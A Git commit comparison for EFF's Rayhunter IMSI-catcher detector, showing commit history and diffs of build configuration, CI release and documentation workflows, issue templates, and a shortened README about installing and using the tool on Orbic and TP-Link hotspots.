Compare commits

..

100 Commits

Author SHA1 Message Date
Cooper Quintin d58881c1f5 Merge branch 'kevstewa-main' 2025-05-16 13:16:24 -07:00
Kevin Stewart 4e16c7f9ce Merge remote-tracking branch 'upstream' 2025-05-16 13:10:50 -07:00
Kevin Stewart c6d0cccb76 Switch release artifact to zip with SHA256
This change updates the build_release_zip workflow job to create and
upload a .zip archive and its corresponding .sha256 checksum file
instead of a .tar archive.
2025-05-16 12:37:47 -07:00
Cooper Quintin f2d32512aa bump installer version 2025-05-16 12:19:03 -07:00
Cooper Quintin e463d40c07 bump version to 0.3.0 2025-05-16 12:19:03 -07:00
Markus Unterwaditzer c8edacf1ed rootshell, and add missing --release 2025-05-16 11:59:39 -07:00
Markus Unterwaditzer ce8260b92c Update documentation for Rust installer 2025-05-16 11:59:39 -07:00
Sashanoraa d6e4f6a71d Always include firmware binaries statically into installer 2025-05-16 11:48:23 -07:00
Sashanoraa a2269fb5f7 Clean up function names and fix clippy warning 2025-05-16 11:48:23 -07:00
Sashanoraa 1c4e9b8499 Switch to having the rev for adb_client in Cargo.toml 2025-05-16 11:48:23 -07:00
Sashanoraa fce30a78a2 Add special case to avoid hang on macOS 2025-05-16 11:48:23 -07:00
Sashanoraa 6a16ad7f15 Add special case for PermissionDenied on macOS
On macOS this can mean the device is busy.
2025-05-16 11:48:23 -07:00
Sashanoraa ec5bd81a70 Update adb_client, now with usb lib being a feature flag
This update also fixes libusb throwing timeouts when it shouldn't
2025-05-16 11:48:23 -07:00
Sashanoraa fbce9c8b04 Update adb_client to usb libusb on window and macOS 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer 92b825a9e3 reset language for v3 after installation 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer c285e2ca08 Various fixes for TP-Link
* explicitly mount the SD card to improve reliability
* do not crash when the SD card is already mounted
* address some review feedback
2025-05-16 11:48:23 -07:00
Sashanoraa 4a7452806d Update adb_client with session fix 2025-05-16 11:48:23 -07:00
Sashanoraa 2e85d4f186 Switch adb_client back to the rayhunter branch
We've confirmed nusb works so I've merged it into the rayhunter branch.
2025-05-16 11:48:23 -07:00
Markus Unterwaditzer e3acfe9144 Update documentation and remove old installer scripts 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer 7418cc19b3 fix for tplink v5.2 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer cc72f1eabc fix clipppy 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer e071bc6619 Add basic installer for TP-Link v5 2025-05-16 11:48:23 -07:00
Sashanoraa 60015e0ff6 Add serial subcommand to installer 2025-05-16 11:48:23 -07:00
Sashanoraa bbcf23899e Remove the "install-*" prefix from the install commands 2025-05-16 11:48:23 -07:00
Sashanoraa c97212cdc8 Switch to read_exact in tp-link telnet_send_command 2025-05-16 11:48:23 -07:00
Sashanoraa 894f457751 Update adb_client to remove unneeded deps from tcp 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer da34c05364 Simplify the tplink installer
Found an exploit that requires fewer HTTP requests and can be run
without auth.
2025-05-16 11:48:23 -07:00
Sashanoraa 30d62b8d7b Add Orbic support for the Rust installer and some common improvements 2025-05-16 11:48:23 -07:00
Sashanoraa 1f7b7f0f1a Move serial into the installer in prep for Orbic support 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer da53ec9df2 move to tplink module 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer 0beff5ea63 fix path 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer a946ebbe92 remove default features from hyper 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer 64a87534ee fix up ci, build installer in actions 2025-05-16 11:48:23 -07:00
Markus Unterwaditzer 4a94545498 Tplink M7350 installer v3 in Rust
It does the same thing as https://github.com/EFForg/rayhunter/pull/272
but only installs necessary files. Installation happens entirely over
the network so there is no dependency on ADB.

Currently can be used like this:

1. cargo build --bin rayhunter-daemon --target armv7-unknown-linux-gnueabihf --release --no-default-features --features tplink
2. cp target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon dist/rayhunter-daemon-tplink
3. cargo run --bin installer -- install-tplink
2025-05-16 11:48:23 -07:00
Caleb 9e532ac975 Fix mismatch in padding from table header and table rows 2025-05-16 11:29:39 -07:00
Caleb 35e3c80313 Add RayHunter branding colors to TailwindCSS 2025-05-16 11:29:39 -07:00
Caleb 221c3591fd Change trashcan icon to white 2025-05-16 11:29:39 -07:00
Caleb cf0061fe53 fix analysis collapsing 2025-05-16 11:29:39 -07:00
strasharo 5bd2909c0d Fix typo in SUMMARY.md 2025-05-14 10:14:55 -07:00
Kevin Stewart 3e1eb9d5e6 Create versioned release tarball
The release workflow now produces a tarball named
`rayhunter-v<version>.tar`, where the version is dynamically extracted
from `rayhunter/bin/Cargo.toml`. Additionally, the archive contains a
top-level directory named `rayhunter-v<version>/`, making each release
artifact clearly identifiable and self-contained by version. This change
improves clarity for downstream consumers and simplifies managing
multiple versions.
2025-05-13 15:12:03 -07:00
oopsbagel adfe081eaf Merge pull request #309 from untitaker/tplink-doc
Add basic docs for TP-Link
2025-05-13 03:03:46 +00:00
Markus Unterwaditzer f165dddd0c fix check mark on orbic.md 2025-05-13 01:22:55 +02:00
Markus Unterwaditzer 214375ead2 split out orbic too 2025-05-13 01:21:57 +02:00
Markus Unterwaditzer 0d4514a332 Add basic docs for TP-Link 2025-05-13 01:18:52 +02:00
oopsbagel 5180205144 doc: uninstalling.md: fix code block 2025-05-12 16:10:39 -07:00
Will Greenberg 5ed1a9bae3 rm broken doc link 2025-05-12 16:10:39 -07:00
Will Greenberg abc3c07201 Migrate README content to the mdbook 2025-05-12 16:10:39 -07:00
oopsbagel 98ee6dacf8 doc(building bin/web): also run npm install 2025-05-12 13:01:15 -07:00
oopsbagel a9f1284fa6 docs: publish mdbook in doc to github pages
This commit adds an mdbook for rayhunter documentation in `doc`, and
actions workflows to publish that documentation to github pages.

This commit configures actions to publish to pages via artifact uploads,
but but can be adjusted to publish based solely on a branch.[0]
This was chosen to allow for future flexibility in generating multiple
outputs (such as a single page html document or pdf).

[0] https://docs.github.com/en/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site
2025-05-12 13:00:45 -07:00
oopsbagel d31bf45f95 Merge pull request #304 from EFForg/docs/update-frequency
[DOCS] Update README.md to Explicitly State Supported Bands
2025-05-06 03:25:50 +00:00
Alexis 8e8a28ae26 Update README.md to Explicitly State Supported Bands
Had to check around forums and docs just to find this info so just dumped here. Take it or leave it though if this exists somewhere else.

Also, areWiFi bands needed? Probably not but left it just in case.
2025-05-06 11:17:04 +09:00
oopsbagel a7a5221c90 ci: remove duplicated ISSUE_TEMPLATE directory
We only need the files in .github/ISSUE_TEMPLATE
2025-04-28 17:31:00 -07:00
Cooper Quintin 469a716b7c add make script using docker 2025-04-28 17:19:46 -07:00
Cooper Quintin c569101c36 Merge branch 'main' into frontend-rework 2025-04-28 17:19:28 -07:00
oopsbagel b9945827c4 Merge pull request #298 from untitaker/ref/readme-orbic
Add disclaimer about country support
2025-04-28 19:28:32 +00:00
Markus Unterwaditzer f97bc56f2c Add disclaimer about country support
More users are discovering this repo and buy Orbic devices for countries
where the device doesn't work.
2025-04-26 01:06:03 +02:00
oopsbagel 55ba316046 Merge pull request #297 from EFForg/wgreenberg-patch-1
unzip -> decompress
2025-04-25 19:21:39 +00:00
Will Greenberg 5ae6f0c5ce unzip -> decompress 2025-04-25 12:05:31 -07:00
Markus Unterwaditzer 7e1b410f89 add clippy to CI 2025-04-25 11:57:33 -07:00
Markus Unterwaditzer 32b67df55d Fix clippy lints and upgrade deku
Old version of deku was throwing clippy lints in generated code
2025-04-25 11:57:33 -07:00
oopsbagel a8087c6840 cargo/config: show apt pkgs for gnueabihf 2025-04-25 11:55:23 -07:00
oopsbagel f2028a704f tools: target armv7 musleabihf 2025-04-25 11:55:23 -07:00
oopsbagel e04b78f0e0 ci: use rust-lld for all release targets
Removes dependency on gcc-based cross-compilation toolchain.
2025-04-25 11:55:23 -07:00
Will Greenberg ece589331f bin: rm unused debug mode functionality
With the new svelte-based frontend, there's a better local debug mode
using `npm run dev`
2025-04-24 13:52:11 -07:00
Will Greenberg b95ff90e5e cargo fmt 2025-04-24 13:23:29 -07:00
Will Greenberg 33745bc4e2 add rayhunter version to web UI, better row colors 2025-04-24 10:33:18 -07:00
Will Greenberg 73682240d6 fix more CI 2025-04-23 11:27:56 -07:00
Will Greenberg 43324c0ad7 add title and darken the green 2025-04-23 11:09:52 -07:00
Will Greenberg f559e10d44 rm git detritus 2025-04-23 11:09:10 -07:00
Will Greenberg f28022920a fix CI 2025-04-23 11:08:54 -07:00
Cooper Quintin 63b07b83f5 darker links 2025-04-22 16:37:35 -07:00
Cooper Quintin 934e0d70d8 change refresh time to 1sec 2025-04-22 16:27:57 -07:00
Cooper Quintin 769826dcea check if metadata exists and handle gracefully 2025-04-22 12:11:23 -07:00
Cooper Quintin e4bfa7a1f3 Merge branch 'main' into frontend-rework 2025-04-22 11:41:51 -07:00
Tyler Cipriani d95da9b382 README: clarify "unzip" instructions
The current `release.tar` (v0.2.7)  lacks a `release` directory -- all
files live at the root of the tar archive. But the README's Unzip
instructions mention `cd`ing to `~/Downloads/release`, which implies
that there is a `release` directory inside the tar.

Rather than verify with `tar --list --file ~/Downloads/release.tar` I
made a bad assumption, ran `tar xvf ./release.tar` in my `~/Downloads`,
and then had to clean up my `~/Downloads` directory.

This update clarifies that users should create the directory and extract
the tar into that directory.
2025-04-22 11:39:06 -07:00
Cooper Quintin f72194ab3e remove demo file 2025-04-22 10:12:45 -07:00
Cooper Quintin 3b1547c749 delete package lock and yarn lock from repo 2025-04-22 10:11:37 -07:00
Cooper Quintin af17788a36 add package lock to gitignore 2025-04-22 10:10:41 -07:00
Cooper Quintin 1a8010964e Merge branch 'main' into frontend-rework 2025-04-22 10:09:26 -07:00
Will Greenberg d3f70fee01 show informational logs, skipped reasons, and some formatting fixes 2025-04-16 14:31:16 -07:00
Will Greenberg 2ee4ab5082 update location of static images 2025-04-16 13:03:33 -07:00
Will Greenberg 7708efd0c9 Update README w/ frontend info, clarify some parts
Also fixes a typo in `install-dev.sh`
2025-04-16 13:02:54 -07:00
Will Greenberg 6b15f807df bring back images 2025-04-16 11:00:01 -07:00
Will Greenberg 0a1f9f4de1 rm unused import 2025-04-16 10:57:46 -07:00
Will Greenberg fb1d550793 when deleting all, close the current recording first 2025-04-16 10:57:33 -07:00
Will Greenberg 2fc0144905 update make script to build site 2025-04-16 10:57:18 -07:00
Will Greenberg fb1657676e rm old frontend code, add favicon 2025-04-15 18:21:58 -07:00
Will Greenberg bb5c288c2f rm unused function 2025-04-15 18:21:10 -07:00
Will Greenberg d63f419fbc parity with current UI 2025-04-15 18:08:18 -07:00
Will Greenberg a33c7511eb better controls, formatting, etc 2025-04-14 20:05:00 -07:00
Will Greenberg c4b2c3bbe2 better start/stop buttons 2025-04-14 15:52:51 -07:00
Will Greenberg d9c58129ff longer poll period 2025-04-14 15:06:08 -07:00
Will Greenberg 41d3b4ed39 wip 2025-04-14 12:01:41 -07:00
Will Greenberg 4113b71baf fixed most svelte issues 2025-04-14 11:59:55 -07:00
Will Greenberg 4f0bc3ad93 update prerender location 2025-04-14 11:59:55 -07:00
Will Greenberg cf2d406d88 wip 2025-04-14 11:59:55 -07:00
Will Greenberg 057c9acb40 wip 2025-04-14 11:59:54 -07:00
Will Greenberg 57b0455363 wip 2025-04-14 11:55:50 -07:00
Will Greenberg fa96520fe5 wip 2025-04-14 11:54:27 -07:00
Will Greenberg a269a45244 wip 2025-04-14 11:54:27 -07:00
100 changed files with 4940 additions and 1473 deletions
+21
View File
@@ -1,7 +1,28 @@
[target.aarch64-apple-darwin]
linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"]
[target.aarch64-unknown-linux-musl]
linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"]
# apt install build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
[target.armv7-unknown-linux-gnueabihf] [target.armv7-unknown-linux-gnueabihf]
linker = "arm-linux-gnueabihf-gcc" linker = "arm-linux-gnueabihf-gcc"
rustflags = ["-C", "target-feature=+crt-static"] rustflags = ["-C", "target-feature=+crt-static"]
[target.armv7-unknown-linux-musleabihf]
linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"]
[target.x86_64-apple-darwin]
linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"]
[target.x86_64-unknown-linux-musl]
linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"]
# optimizations to reduce the binary size # optimizations to reduce the binary size
[profile.release] [profile.release]
strip = true strip = true
-62
View File
@@ -1,62 +0,0 @@
name: Bug Report
description: File a bug report.
title: "[Bug]: "
type: Bug
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report!
- type: input
attributes:
label: Rayhunter Version
description: |
Which version did you install?
placeholder: v0.2.6
- type: input
attributes:
label: Capture Date
description: |
YYYY-MM-DD
placeholder: 2025-05-01
validations:
required: true
- type: input
attributes:
label: Capture Location
description: |
(If comfortable disclosing) What region or country were you in?
placeholder: Washington State
validations:
required: false
- type: input
attributes:
label: Device and Model
description: |
Device you installed Rayhunter on to.
placeholder: Orbic RC400L
validations:
required: true
- type: textarea
id: what-happened
attributes:
label: What happened?
description: |
What steps did you take to get to your issue?
placeholder: Tell us what you see!
validations:
required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: Rayhunter's behavior differed from what I expected because.
placeholder: "What was expected?"
validations:
required: true
- type: textarea
id: logs
attributes:
label: Relevant log output
description: Rayhunter data captures (QMDL and PCAP logs) or error codes
render: shell
@@ -1,8 +0,0 @@
blank_issues_enabled: false
contact_links:
- name: Rayhunter Mattermost
url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su
about: If you're having trouble using Rayhunter and aren't sure you've found a bug or request for a new feature, please first try asking for help here. There is a much larger community there of people familiar with the project who will be able to more quickly answer your questions.
- name: Rayhunter Security Policy
url: https://github.com/EFForg/rayhunter/security/advisories/new
about: Please report security vulnerabilities here.
@@ -1,27 +0,0 @@
name: Feature Request
description: Suggest a new feature or improvement to Rayhunter
title: "[Feature Request]: "
labels: ["enhancement"]
body:
- type: textarea
id: problem
attributes:
label: What problem does this feature solve or what does it enhance?
description: Explain what this feature addresses, ors the benefit it provides.
placeholder: For example, "Currently, users have to manually do X, which is time-consuming."
validations:
required: true
- type: textarea
id: solution
attributes:
label: Proposed Solution
description: Describe the solution you'd like to see implemented.
placeholder: For example, "Implement a new button that automatically does X."
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives Considered
description: Have you considered any alternative solutions?
placeholder: For example, "We considered Y, but Z is a better approach because..."
+76 -40
View File
@@ -4,13 +4,16 @@ on:
push: push:
branches: [main, "release-*"] branches: [main, "release-*"]
pull_request: pull_request:
branches: [ "main" ] branches: ["main"]
env: env:
CARGO_TERM_COLOR: always CARGO_TERM_COLOR: always
FILE_ROOTSHELL: ../../rootshell/rootshell
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
jobs: jobs:
build_serial_and_check: build_rayhunter_check:
strategy: strategy:
matrix: matrix:
platform: platform:
@@ -32,18 +35,7 @@ jobs:
runs-on: ${{ matrix.platform.os }} runs-on: ${{ matrix.platform.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable - name: Build rayhunter-check
with:
targets: ${{ matrix.platform.target }}
- name: Build serial
run: cargo build --bin serial --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: serial-${{ matrix.platform.name }}
path: target/${{ matrix.platform.target }}/release/serial${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
- uses: actions/checkout@v4
- name: Build check
run: cargo build --bin rayhunter-check --release run: cargo build --bin rayhunter-check --release
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
@@ -56,18 +48,13 @@ jobs:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable - uses: dtolnay/rust-toolchain@stable
with: with:
targets: armv7-unknown-linux-gnueabihf targets: armv7-unknown-linux-musleabihf
- name: Install cross-compilation dependencies
uses: awalsh128/cache-apt-pkgs-action@latest
with:
packages: build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
version: 1.0
- name: Build rootshell (arm32) - name: Build rootshell (arm32)
run: cargo build --bin rootshell --target armv7-unknown-linux-gnueabihf --release run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
name: rootshell name: rootshell
path: target/armv7-unknown-linux-gnueabihf/release/rootshell path: target/armv7-unknown-linux-musleabihf/release/rootshell
if-no-files-found: error if-no-files-found: error
build_rayhunter: build_rayhunter:
strategy: strategy:
@@ -75,44 +62,93 @@ jobs:
device: device:
- name: tplink - name: tplink
- name: orbic - name: orbic
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable - uses: dtolnay/rust-toolchain@stable
with: with:
targets: armv7-unknown-linux-gnueabihf targets: armv7-unknown-linux-musleabihf
- name: Install cross-compilation dependencies
uses: awalsh128/cache-apt-pkgs-action@latest
with:
packages: build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
version: 1.0
- name: Build rayhunter-daemon (arm32) - name: Build rayhunter-daemon (arm32)
run: cargo build --bin rayhunter-daemon --target armv7-unknown-linux-gnueabihf --release --no-default-features --features ${{ matrix.device.name }} run: |
pushd bin/web
npm install
npm run build
popd
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features ${{ matrix.device.name }}
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
name: rayhunter-daemon-${{ matrix.device.name }} name: rayhunter-daemon-${{ matrix.device.name }}
path: target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
if-no-files-found: error if-no-files-found: error
build_rust_installer:
needs:
- build_rayhunter
strategy:
matrix:
platform:
- name: ubuntu-24
os: ubuntu-latest
target: x86_64-unknown-linux-musl
- name: ubuntu-24-aarch64
os: ubuntu-24.04-arm
target: aarch64-unknown-linux-musl
- name: macos-arm
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
target: x86_64-pc-windows-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: installer-${{ matrix.platform.name }}
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_release_zip: build_release_zip:
needs: needs:
- build_serial_and_check - build_rayhunter_check
- build_rootshell - build_rootshell
- build_rayhunter - build_rayhunter
- build_rust_installer
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/download-artifact@v4 - uses: actions/download-artifact@v4
- name: Fix executable permissions on binaries - name: Fix executable permissions on binaries
run: chmod +x serial-*/serial rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
- name: Setup release directory - name: Get Rayhunter version
run: mv rayhunter-daemon-* rootshell/rootshell serial-* dist id: get_version
- name: Archive release directory run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
run: tar -cvf release.tar -C dist . - name: Setup versioned release directory
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
mkdir "$VERSIONED_DIR"
mv rayhunter-daemon-* rootshell/rootshell installer-* "$VERSIONED_DIR"/
- name: Archive release directory as zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
zip -r "$VERSIONED_DIR.zip" "$VERSIONED_DIR"
- name: Compute SHA256 of zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
# TODO: have this create a release directly # TODO: have this create a release directly
- name: Upload release - name: Upload zip release and sha256
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: release.tar name: rayhunter-v${{ env.VERSION }}
path: release.tar path: |
rayhunter-v${{ env.VERSION }}.zip
rayhunter-v${{ env.VERSION }}.zip.sha256
if-no-files-found: error if-no-files-found: error
+19 -6
View File
@@ -8,6 +8,7 @@ on:
env: env:
CARGO_TERM_COLOR: always CARGO_TERM_COLOR: always
NO_FIRMWARE_BIN: true
jobs: jobs:
check_and_test: check_and_test:
@@ -21,21 +22,33 @@ jobs:
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v3
- name: Check - name: Check
run: cargo check --verbose --no-default-features --features=${{ matrix.device.name }} run: |
pushd bin/web
npm install
npm run build
popd
cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run tests - name: Run tests
run: cargo test --verbose --no-default-features --features=${{ matrix.device.name }} run: |
pushd bin/web
npm install
npm run build
popd
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run clippy
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
windows_serial_check_and_test: windows_installer_check_and_test:
runs-on: windows-latest runs-on: windows-latest
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v3
- name: cargo check - name: cargo check
shell: bash shell: bash
run: | run: |
cd serial cd installer
cargo check --verbose cargo check --verbose
- name: cargo test - name: cargo test
shell: bash shell: bash
run: | run: |
cd serial cd installer
cargo test --verbose --no-default-features --features=${{ matrix.device.name }} cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
+47
View File
@@ -0,0 +1,47 @@
# On Repository Settings > Pages > Build and deployment
# Set "Source" to GitHub Actions.
name: Documentation
on:
push:
branches: ["main"]
pull_request:
branches: ["main"]
jobs:
mdbook_test:
name: Test mdBook Documentation builds
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Test mdBook
run: mdbook test
mdbook_publish:
if: ${{ github.event_name != 'pull_request' }}
needs: mdbook_test
permissions:
pages: write
contents: write
id-token: write
name: Publish mdBook to Github Pages
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Build mdBook
run: mdbook build
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: book
- name: Deploy to Github Pages
uses: actions/deploy-pages@v4
+1
View File
@@ -1 +1,2 @@
/target /target
/book
Generated
+2124 -455
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -3,8 +3,8 @@
members = [ members = [
"lib", "lib",
"bin", "bin",
"serial",
"rootshell", "rootshell",
"telcom-parser", "telcom-parser",
"installer",
] ]
resolver = "2" resolver = "2"
+1 -124
View File
@@ -4,127 +4,4 @@
![Tests](https://github.com/EFForg/rayhunter/actions/workflows/check-and-test.yml/badge.svg) ![Tests](https://github.com/EFForg/rayhunter/actions/workflows/check-and-test.yml/badge.svg)
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
**THIS CODE IS A PROOF OF CONCEPT AND SHOULD NOT BE RELIED UPON IN HIGH RISK SITUATIONS!**
## The Hardware
Rayhunter has been built and tested for the Orbic RC400L mobile hotspot. It may work on other Orbics and other
Linux/Qualcom devices, but this is the only one we have tested on.
You can buy the orbic [using bezos bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
## Setup (Mac, Linux)
1. Download the latest `release.tar` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
2. Unzip the `release.tar`. Open the terminal and navigate to the folder
```bash
cd ~/Downloads/release
```
3. Turn on the Orbic device by holding the power button for 3 seconds. Plug it into your computer using a USB-C Cable.
4. Run the install script for your operating system:
```bash
./install.sh
```
The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
5. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device.
### Installation Notes
* Note: If you are installing from the cloned GitHub repository please see the development instructions below, running `install.sh` from the git tree will not work.
* The install script has only been tested for Linux on the latest version of Ubuntu. If it fails you will need to follow the install steps outlined in **Development** below.
* On macOS if you encounter an error that says "No Orbic device found," it may because you the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
## Setup (Windows)
We don't currently support automated installs on Windows.
## Updating
Great news: if you've successfully installed rayhunter, you already know how to update it! Our update process is identical to the setup process: simply download the latest release and follow the steps in the [setup section](#setup-silicon-mac-linux).
## Usage (viewing the web UI)
Once installed, Rayhunter will run automatically whenever your Orbic device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, and view heuristic analyses of captures.
You can access this UI in one of two ways:
1. **Connect over wifi:** Connect your phone/laptop to the Orbic's 2.4GHz wifi network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080). (Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet).
* You can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
2. **Connect over USB:** Connect the Orbic device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
## Frequently Asked Questions
### Do I need an active SIM card to use Rayhunter?
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but whether that SIM card has to be currently active for our tests to work is still under investigation. If you want to use the device as a hotspot in addition to a research device an active plan would of course be necessary, however we have not done enough testing yet to know whether an active subscription is required for detection. If you want to test the device with an inactive SIM card, we would certainly be interested in seeing any data you collect, and especially any runs that trigger an alert!
<a name="red"></a>
### Help, Rayhunter's line is red! What should I do?
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area (or put it on airplane mode) and tell your friends to do the same!
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time.
### Does Rayhunter work outside of the US?
**Probably**. Some Rayhunter users have reported successfully using it in other countries with unlocked devices and SIM cards from local telcos. We can't guarantee whether or not it will work for you though.
### Should I get a locked or unlocked orbic device? What is the difference?
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
### Does Rayhunter work on any other devices besides the Orbic RC400L?
**Maybe**. We have not tested Rayhunter on any other hardware but we would love to expand the supported platforms. We will consider giving official support to any hardware platform that can be bought for around $20-30USD. The Rayhunter daemon should theoretically work on any Linux/Android device that has a qualcomm chip with a `/dev/diag` interface and root access, though our installer script has only been tested with an Orbic. If you get it working on another device, please let us know!
### How do I delete capture files from the Rayhunter device?
You can get a shell on the device by inputting `adb shell` to a terminal with the device connected, you can check if it is detected with `adb devices`.
The capture files are located at */data/rayhunter/qmdl* but you will need root access to modify or delete them. From the adb shell run `/bin/rootshell` and you can now use commands like 'rm' as root to modify and delete entries in the */data/rayhunter/qmdl* directory. **Be careful not to delete important files in other directories as you may seriously damage the device**
## Development
Follow these instructions if you need to build Rayhunter from source rather than using our [compiled builds](https://github.com/EFForg/rayhunter/releases).
* Install ADB on your computer using the instructions above, and make sure it's in your terminal's PATH
